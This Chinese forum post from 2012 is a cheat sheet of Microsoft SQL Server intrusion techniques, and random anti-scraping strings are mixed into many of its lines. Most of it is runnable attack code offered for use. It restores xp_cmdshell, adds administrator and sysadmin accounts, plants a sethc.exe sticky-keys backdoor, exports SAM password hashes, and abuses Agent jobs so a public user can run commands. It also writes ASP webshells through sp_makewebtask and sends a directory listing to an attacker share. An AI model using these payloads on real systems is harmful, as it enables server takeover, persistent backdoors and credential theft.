找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2415|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
% l* g% }8 ^8 w% o( e5 T3 g. l6 f恢复方法:查询分离器连接后,
0 F$ A) ^/ }; r4 D( \第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
/ p0 f* n% l$ J第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
" E4 Z% J% t9 c, p* i# P8 \然后按F5键命令执行完毕
% P8 J( y- L, A9 ^! h4 R# O3 N/ f. o
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
4 f! ~+ \, d0 }; b( |4 X9 N, _恢复方法:查询分离器连接后,
9 ~0 s7 s/ h% ]2 Y第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"* |7 g" G) M! [/ u9 w) I
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'+ m3 h! }3 g5 L# ~, _
然后按F5键命令执行完毕- I! D0 y# X% G; @  N1 c

+ W, i% |7 J1 N0 X3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
& F0 ^! m9 A" e9 I# l( ^9 x" ?- K恢复方法:查询分离器连接后,: Q4 F. k# z2 E2 _! T7 I
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'. w0 Z; c& X" [5 T. I8 G
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
& f# t; _6 d8 M0 W2 V  ?然后按F5键命令执行完毕
% N9 T" b  J: [1 w9 R1 Y% O, s
/ j, O  l8 s2 A+ r4 终极方法.
- m  f# S/ n% Q* Z8 s( q+ f4 u如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
7 t9 Y* x/ o# R+ |' V( I6 r: w查询分离器连接后," a7 w" q4 S6 g6 Y1 `2 _$ Z
2000servser系统:
* R6 n: F  g( ~* s; W: t3 w! jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'& N0 _6 c" L2 S0 t6 T
( D, k; J, R" Y# L( z$ T
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
( }# x: _3 U$ ^6 C2 O/ G8 w: H+ n1 G+ j/ H/ b" Y( x, b; `9 \
xp或2003server系统:
2 J: T/ L( \9 \' {2 B" B" Y! S# ~
. s/ ~" {% i4 x: M) e6 S+ T! Sdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
0 E- w. z& _' }" ]7 v: c- v$ a7 o4 Q# p& K# L
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
7 y2 o6 n! ?2 a: o  `4 B9 c, I8 R% t3 G- p5 r* G" }

! P/ t: ?; F" U' S7 b( o五个SHIFT
- H2 I: D: d3 D+ p- tdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';5 Y" k8 I, R( Q. n0 M) I* J5 ?$ C- X
+ \% q( e( K8 e3 {& u- J
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; $ _4 U9 s: t% x
9 K6 s& s; p6 H0 `) f( G
xp_cmdshell执行命令另一种方法
3 k. @8 W$ z2 V; C- ldeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 5 t% X( D, E3 o% `4 o
! b9 v" |/ R( n- [
判断存储扩展是否存在% ~( [5 x; d" @, ^) D
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
4 }& }) I, t% k# N返回结果为1就OK. }' ~( G  \4 l4 y0 k+ m
% i7 u7 M( n, }1 \# P0 p+ h

) R6 n, e* r  i6 E- k, I% _' d上传xplog70.dll恢复xp_cmdshell语句:+ E" a" f# N1 C8 }1 e
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'2 N8 C7 e& o  h' p4 d3 k

5 N# q0 ~. e- z) X0 T3 [% ~否则上传xplog7.0.dll
( l$ r% B" O8 I8 }Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
# U: L" u2 Q/ P2 ]
  _# p( h- D1 l! U5 R. D* H! I$ \5 x) a* C  z
0 V) x$ Z, }$ q$ v* W, n4 b
首先开启沙盘模式:
9 ~% F* m+ u: R' }7 vexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1& N3 L, B' n8 U  ?/ S2 d
: |1 ~! G, p) B" E/ D. B
然后利用jet.oledb执行系统命令: ]+ m% R  D7 w
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
& v6 @! h# Z6 ^, N返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了+ V( l) g6 q* G
4 Q6 A% x2 I3 Y$ O

0 r2 f9 a0 }2 W- D: X: a8 X3 N: I+ Q' R2 U. M2 k5 l. A
恢复过程sp_addextendedproc 如下: , M) e8 O; G! q* g
create procedure sp_addextendedproc --- 1996/08/30 20:13
0 D& Z% F: ?1 W* m@functname nvarchar(517),/* (owner.)name of function to call */ , C9 a5 I2 ?# y' Y7 b! p, `
@dllname varchar(255)/* name of DLL containing function */
. c' v. _+ @8 @# E& V* d3 gas , l( c* u/ C/ |) R2 ]# Y
set implicit_transactions off
9 _, S! x. U6 c! t: N7 }- ^9 ^if @@trancount > 0
" T! b$ w1 @+ W$ E) Cbegin , t' i3 Z! O5 U0 n* `; B8 S/ }
raiserror(15002,-1,-1,'sp_addextendedproc') " U6 E0 m' N7 z5 j# R
return (1)
. T4 U( C2 V3 A4 s2 F6 Eend
$ a3 Z- x* d1 r) Ddbcc addextendedproc( @functname, @dllname)
$ [9 ]  f! u$ ~1 preturn (0) -- sp_addextendedproc 4 h: Q  N/ i& }
GO
5 e% M4 G) J# M( @) {# A
) p; U' Y, I1 c6 w' S
& j; u9 l; k: P6 g* }- l
2 h$ g8 G8 y* t& V导出管理员密码文件
7 S' D9 c7 u/ m7 n4 bsa默认可以读sam键.应该。3 L* }5 p0 U. q1 h
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg8 `( r, w3 N$ U+ }9 [: }
net user administrator test& R. r5 y* y1 J' f1 [4 r; y$ l
用administrator登陆.  _4 X) N  C: s! A, D) \
用完机器后
% [, {  t. S9 ^$ M9 ireg import c:\test.reg/ K4 t# Y2 r" g
根本不用克隆.8 [  ?& z+ ]8 C- A2 M. z
找到对应的sid. ( U( Y5 `) a' S) n

) ^. V* e, z' S5 a
9 W( U# `. z& K! O# B6 o
4 h7 `0 h3 B& F恢复所有存储过程
  O1 {! h) K$ E% t$ q7 X  t( P% W1 Duse master
' C/ _2 z# z) a; v- {  H1 }exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 4 ]  D) ?9 u; w- N
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
. l: r9 d9 @4 u' D3 n3 J- ^; g" T' uexec sp_addextendedproc xp_loginconfig,'xplog70.dll' ( r* m8 a0 H4 W$ U4 X
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' ' ]$ h! {* A2 }
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 0 ~! Y' o! @+ K3 d; h9 Q; v4 F
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
! x. y5 J7 z3 ^# a- pexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
1 M' z) D9 h/ F$ X: ?exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
. d9 G0 O" `/ ?1 l* {- aexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 2 t% z* B6 T; k) [6 @1 X( {, u( n
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
# T. Z" m6 D0 O+ h1 {; L: Hexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
# z' w7 g1 u3 A& S( \exec sp_addextendedproc sp_OAStop,'odsole70.dll' 7 i  B$ {+ [% ^
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'   [# m. Y0 H& D/ V1 X/ z$ B1 d4 u
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' : ^6 t8 X* ]! y% Z/ h5 s5 b
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
/ a4 Q3 M& U# C. G; G5 `3 zexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 6 l  ]6 N7 o& b+ ^% s! [
exec sp_addextendedproc xp_regread,'xpstar.dll' 0 f1 g; V" {+ P' S5 _" @$ x
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' ' ?" G& G. t0 E4 d2 y. J9 Y$ [
exec sp_addextendedproc xp_regwrite,'xpstar.dll' ( h* [% I0 i" c" c4 E' J# R
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
5 J0 e  I. O9 h, U9 {4 N+ f% H+ B, `0 ]+ n9 f3 f

0 w1 B8 [( ]2 p/ b  L" P建立读文件的存储过程; o* W! E4 o, @+ R: z* {
Create proc sp_readTextFile @filename sysname
# [$ u' j9 @* B$ Q! ?+ cas1 m- W9 e8 `+ Y% ~0 g

# E9 e( Y- ]9 @: e1 j  Z    begin
0 V2 g1 X! o( ]' U9 J- t; M, T    set nocount on . P0 ?$ A2 `3 A7 A
    Create table #tempfile (line varchar(8000))
+ P1 E4 w9 F. V. e$ F- q7 E0 ]    exec ('bulk insert #tempfile from "' + @filename + '"')3 q8 S- ]2 w) A  H8 s, J
    select * from #tempfile$ z: f6 p/ m3 r$ f. O( G
    drop table #tempfile6 C) R$ @2 Z# O" q
End
3 B7 ~9 u$ \) o; A% K& K) s" m4 J! M: z( `  a( \
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
, C5 ~- p+ I7 Y# w0 c5 _( d9 y  ^查看登录用户
! M) d; G9 q, H3 ~1 w" ~% n7 C& r5 VSelect * from sysxlogins+ m: y9 Z" V* l) o2 g; m) `
% H: P1 m2 r. ?
把文件内容读取到表中
7 o1 B2 E, n( p; k. ^0 ^" o( ZBULK INSERT tmp from "c:\test.txt"! b' |  i* M1 u) f
dElete from 表名 清理表里的内容
5 s/ n# `1 N! H. O% i# |: zcreate table b_test(fn nvarchar(4000));建一个表,字段为fn' P/ a& J9 a7 l, p" W' \

  i$ t' f$ c* C0 ^8 b/ |: v, l
* U; U- A# ~" [3 A' c加sa用户% d6 Q. H3 z  |
exec master.dbo.sp_addlogin user,pass;8 L+ c& V0 Z2 Y, x
exec master.dbo.sp_addsrvrolemember user,sysadmin
/ B/ ^7 k# P: R  T4 L4 ?( x, _+ ]$ e
" ]" ~+ h- k1 q. m& [
: {2 s* r' c0 b8 T" Q1 t- B# i3 k4 T
读文件代码5 s( \2 j  O0 `% c
declare @o int, @f int, @t int, @ret int
/ _2 ^# b1 L5 y& I/ }. Kdeclare @line varchar(8000)1 f+ J8 ]' T0 ]( l; r2 V3 Z" d
exec sp_oacreate 'scripting.filesystemobject', @o out
8 o0 M4 Q4 d8 n! \5 n$ Wexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 15 D7 I* Q2 i/ Z
exec @ret = sp_oamethod @f, 'readline', @line out
2 \1 v; R0 Y$ H4 ]% x" ywhile( @ret = 0 ), r, B7 _/ b* F# L1 f
begin
' {  Y1 Z/ W6 e2 }print @line
' i% X5 n3 I) z3 ?$ Q0 Zexec @ret = sp_oamethod @f, 'readline', @line out
/ T. v& m5 @3 s. Q% I/ [4 r, x& Xend4 r, `& V, n7 q* @3 @
7 f0 V* e: }$ `$ X/ R
1 V0 H( K9 ?: b) ~8 c
写文件代码:- r2 A/ D/ I6 w. m9 ?3 d( h* g
declare @o int, @f int, @t int, @ret int
, K2 S5 Y2 ^% T1 b% V9 }- ?% ]4 qexec sp_oacreate 'scripting.filesystemobject', @o out- b. X3 O3 K* V- l6 j
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1) E9 X; V! G5 G: \, f
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
5 |& g/ Z; [5 {& \& S6 E* b" B# [
9 j3 ^( T4 f& R5 `: o3 r# W. X$ I& p
添加lake2 shell- T5 r2 q3 n2 j! ?
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'/ K  d$ ]9 L- U; d+ d& X
sp_dropextendedproc xp_lake2
. s0 @; n1 X2 L2 N$ m# y) cEXEC xp_lake2 'net user'! b5 W# l: A6 |2 q5 C

3 Y5 D8 r" ~1 ]1 \4 k) n/ B2 D0 X( o' a  u: f* B7 W
得到硬盘文件信息
) T' d+ A& e' a: {. }" F--参数说明:目录名,目录深度,是否显示文件
5 A, b* `1 |7 r; {execute master..xp_dirtree 'c:' ( K: R, ~8 }. D6 g" r% y
execute master..xp_dirtree 'c:',1 ; W: h* _$ ~( `) X
execute master..xp_dirtree 'c:',1,1
5 \9 j5 |3 G6 p+ L# j8 X9 A4 X9 I. x9 }% z; Y. e, h

/ O  k. j5 {$ }4 U$ e& s6 e读serv-u配置信息
$ g. E# N, a/ D: F! Cexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'- j8 k, S9 T  l3 p; J3 a3 ~, a- f
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
, L; e4 T& G' m, p
  t0 i! a7 S9 o% Z/ s通过xp_regwrite写SHIFT后门' [( @' \; T7 ]1 y  ]0 T+ K' R
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--, g' l) m8 P' \" Q

7 z1 x$ P0 G8 i
/ l: \; l2 |+ Y0 z$ ]1 T: Z  T4 Y  V' ?! D! ?
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
1 N1 b/ {1 j$ f& X( m+ I9 ~exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了! c7 |+ c8 `* _5 F% l6 t7 ~
" c! F) I) Y8 i; o
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
* R; E# D1 {6 \. L4 b6 ?8 i! Y
( q1 c2 ~( R' e7 Y# a% x' [
+ X+ `) o7 @5 l$ f
9 m; |+ I5 V( ~2 t; S9 @8 Qsql server 2005下开启xp_cmdshell的办法
0 S* e, J) I( c$ \0 Y; U5 q6 Y7 V. |- t7 H' P! g4 N  u" w
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
- G- J5 {% d8 h2 v+ P" {2 X5 f, T: N/ _$ ^
SQL2005开启'OPENROWSET'支持的方法:' ?9 t! Y/ x% H* I# X# U0 t* ^9 r
2 Y6 G+ b' n' F" x8 V+ B
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
  o) w' |% y# e2 L( o6 o2 |! k4 v$ y! ]0 X# M, [5 g) W
SQL2005开启'sp_oacreate'支持的方法:
! ~+ W% G; @- x6 ]" T. D( q! K2 i
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;8 U/ [4 z4 @* B, R: [. N

* E, R/ t) R9 {* M
9 a6 _8 H) Q+ y, Z
0 O( ?# w' }4 _# s, n% m& Y, q
, w1 m/ q! h2 V$ z4 y( s: Y" ~
2 x6 q: Y6 ^4 _: [% Z' X6 E  @- N. O7 _' {

7 H" p5 `& u0 n' T4 Z$ W
; @, V1 H  ]2 p$ U! e+ X* e" H- c1 I# [1 }+ R
2 u4 r  w- c7 R3 R  L! P7 Z

: \+ J8 U/ {0 m& y2 H* D$ G! n1 K1 w- ^. F0 a( H1 A3 o  s

* n. b3 Y. l5 s% H0 P6 ?/ k
3 {8 b/ c$ X) J2 m4 W" G  Z. u# }2 e& e" E4 r, B
. e2 \) Z8 I2 F( E( |$ ^
$ g6 s8 t# Y4 \! m) N$ E9 e5 d
  n5 F, Q9 @: y

+ D$ M) R8 n4 t# @* ~( P2 Y7 t$ t) T

# c! c$ t3 _! M+ Z2 w7 b! F% Y1 H; o' ~( u& y

( v$ ?% s% B" ^" i- j: L- }6 g0 n& r8 _
以下方面不知道能不能成功暂且留下研究哈:3 T, t7 p$ C) X, Q
4)
, L6 n4 Q0 G$ w1 r* ^, ~/ h! B# _use msdb; --这儿不要是master哟
2 A( L# w: M1 i( w% _* ]' `exec sp_add_job @job_name= czy82 ;% \! o/ r* y$ B, i9 Q, z
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
6 B/ k$ S2 n; d. O$ Pexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;( h/ z1 A! W1 l: x& {3 a/ k
exec sp_start_job @job_name= czy82 ;
" V: s6 s" Z& n0 Z
9 R2 F/ `. d: K/ R6 D利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
4 U& g6 c0 m5 q执行tsql语句了.
6 w0 N1 ]' d- ~- C& R; h4 w1 s) O对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
3 p) T+ t2 e1 c$ v' V第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧), i4 ~1 B" _# M7 w# d( I- z# A
net start SQLSERVERAGENT
0 z2 ~  F5 j; t% W0 m4 Q, n9 X6 I0 r. `- u) n- ?- y0 i
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
" ^% U  j4 G1 @3 XUSE msdb
8 @- h, H/ n0 FEXEC sp_add_job @job_name = GetSystemOnSQL ,- d5 n. f0 U4 R- c; F! Z
@enabled = 1,
, [5 m* `0 F3 U6 y5 J@description = This will give a low privileged user access to
$ A- a! D2 K9 Y$ j; ^; |xp_cmdshell ,
. |" C. t' k5 K2 o& [& j@delete_level = 1) D4 V" R* @1 n2 E
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,$ v, c% X% v/ P! L
@step_name = Exec my sql ,
5 D7 n8 m) ~9 d* j: d) ]8 x; {@subsystem = TSQL ,
, O  N1 s- P9 d; V4 Z@command = exec master..xp_execresultset N select exec3 x# W2 s) z% O
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master : F* s6 `+ A, u* R# p9 x% H/ g
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
. ?* R+ L! |# \0 l3 y@server_name = 你的SQL的服务器名 * T4 `/ O& w7 v
EXEC sp_start_job @job_name = GetSystemOnSQL
4 k: ?. p9 J% {+ {
+ Z) R. Y2 ~; O  |8 P( z# _; `不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
) C" W: ^& ]/ ~3 x$ u2 l, [& k才让我们可以以public执行xp_cmdshell$ N# s! o8 L# F' L1 A9 U
9 o' h8 C3 y1 C* E% b" R
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
$ u# Z- U9 P+ y. g8 R% p在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
, G8 w& b' {8 ~
1 W% \" m* x; ]( P# y, o/ K9 [USE msdb
: g* q# E& E8 Z" i0 F3 ^EXEC sp_add_job @job_name = ArbitraryFilecreate ,
- i5 S& C1 U  _/ i@enabled = 1,
  `! O; a! |2 }: a* w@description = This will create a file called c:\sqlafc123.txt ,4 E8 t! h+ H: e! m. M8 P5 {4 k7 T
@delete_level = 1% }" ~  w8 w4 ?0 u! {' t+ ?+ _
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,% g. v4 n* p$ r$ [: P4 v
@step_name = SQLAFC ,3 U5 w% m- _3 u' m" P% n
@subsystem = TSQL ,' f& ^5 u2 ^$ `6 Q& Q' G
@command = select hello, this file was created by the SQL Agent. ,
: K/ T( g( m) R' `, @@output_file_name = c:\sqlafc123.txt
' X2 ?: w2 \& P$ x8 J4 SEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
7 Z( Q# @% T, i$ m9 K2 G@server_name = SERVER_NAME 7 t! S2 O% g% a; m' [1 T) m+ \5 ]
EXEC sp_start_job @job_name = ArbitraryFilecreate # G+ z3 A8 W4 g9 k8 e. k
- o$ L# k  s% Y7 Q" H( H; W# w
如果subsystem选的是:tsql,在生成的文件的头部有如下内容3 D4 z2 [6 o, T2 c' ?% |

1 U1 M/ W7 \& s# ?& `3 e, r8 f4 z??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19  L/ ?- ?/ p) P: R
----------------------------------------------
3 g) \2 u4 @, c! i# S' uhello, this file was created by the SQL Agent.6 ]9 G0 A2 ^0 w& i. B" F

* Q" ]/ a1 ]) I4 ^(1 ?????)
* N" C! [; R5 p' K3 C$ H) d. C4 i" k5 W7 s' e* _) Q8 m7 E3 `
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
: E5 A7 g" Y2 J  k2 d命令的vbs文件到启动目录!
+ m" X* ]" m* h. j
3 j0 \: F/ ^) x" Q6 W# ]- o6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
% F( u' h' v  V* _关于sp_MScopyscriptfile 看下面的例子- g, R1 u% j4 u! V
declare @command varchar(100) + A! P  a* k5 n6 v# R2 y
declare @scripfile varchar(200)
7 M, e$ D! m. p: [- uset concat_null_yields_null off - y; i* W) O$ c5 I* Z* e( p6 m
select @command= dir c:\ > "\\attackerip\share\dir.txt" " g1 n  |9 P. s  w7 p
select @scripfile= c:\autoexec.bat > nul" | @command | rd " # K- I* Y( A( h
exec sp_MScopyscriptfile @scripfile ,
* p  [) |& u, t( ]' [; D% W6 I) }/ h% q9 ^' B
这两个东东都还在测试试哟
! d. W* S  e9 b0 `# b/ O% \7 n. l让MSSQL的public用户得到一个本机的web shell6 c9 m' a2 J" ~" }" h! e" h: F

, o4 F* s9 {7 Jsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
. D# x' J/ c! n1 C--@query= select <img src=vbscript:msgbox(now())> / l" G* h5 P& |5 g' V
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
7 }1 L2 X% ?2 k6 L7 T@query= select 2 _& k' r/ Q  d: S! I- v* C
<%On Error Resume Next + u& r- M; U1 H$ D/ D' F
Set oscript = Server.createObject("wscript.SHELL")
7 N4 _3 ?( s; S& n, I, L$ ESet oscriptNet = Server.createObject("wscript.NETWORK") 2 {7 H, f/ V( _6 y& o
Set oFileSys = Server.createObject("scripting.FileSystemObject") - x; `( J. {, T4 j5 d
szCMD = Request.Form(".CMD") 2 M* U- y8 S) w* z
If (szCMD <>"")Then
* r, Q+ x3 V& q# q& sszTempFile = "C:\" & oFileSys.GetTempName()
. f# z; V: ?( q9 s& E, sCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
! T) i/ B' n$ t9 j) n, HSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
! c. B/ M$ C% G, dEnd If %> * O' W; V5 z6 i
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> ! |) b1 z/ o) Q4 J
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> ( T; [4 P0 T' N
</FORM><RE>
+ ^8 X4 }. P/ @+ L4 S& c$ \<% If (IsObject(oFile))Then 6 d  ^+ M0 T, V! h' P$ y/ @% g
On Error Resume Next 4 c+ ?6 t, U4 K4 k8 {3 e' m
Response.Write Server.HTMLEncode(oFile.ReadAll) * T& H/ Z: Q! K0 @6 m
oFile.Close
: K8 f5 a( m, E! h! d  LCall oFileSys.deleteFile(szTempFile, True) / n2 I& J" H7 `# ?5 H* q
End If%>
1 m# t/ |# T) C4 i</BODY></HTML>   g+ j( B) \0 l9 _: q) t" ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表